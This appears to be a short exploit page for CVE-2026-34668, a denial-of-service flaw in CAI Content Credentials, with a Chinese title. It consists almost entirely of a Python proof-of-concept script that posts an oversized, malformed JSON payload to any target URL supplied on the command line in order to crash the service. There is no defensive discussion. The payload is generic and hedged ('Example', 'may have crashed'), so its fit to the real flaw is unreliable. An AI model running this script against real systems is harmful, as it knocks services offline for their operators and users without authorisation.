CVE-2026-34668 CAI Content Credentials 拒绝服务漏洞

# PoC for CVE-2026-34668: CAI Content Credentials DoS # This script demonstrates sending a malformed payload to trigger the crash. import requests import sys def trigger_dos(target_url): # Constructing a payload that bypasses input validation # Example: excessively long string or specific special characters malicious_payload = { "credential_data": "A" * 50000 + "\x00\xff\xfe", "signature": "invalid" } headers = { "Content-Type": "application/json" } try: print(f"Sending payload to {target_url}...") response = requests.post(target_url, json=malicious_payload, headers=headers, timeout=5) print(f"Response Status: {response.status_code}") print("Application may have crashed if no response is received on subsequent attempts.") except requests.exceptions.RequestException as e: print(f"Connection failed or timed out (Potential DoS): {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python poc.py <target_url>") else: trigger_dos(sys.argv[1])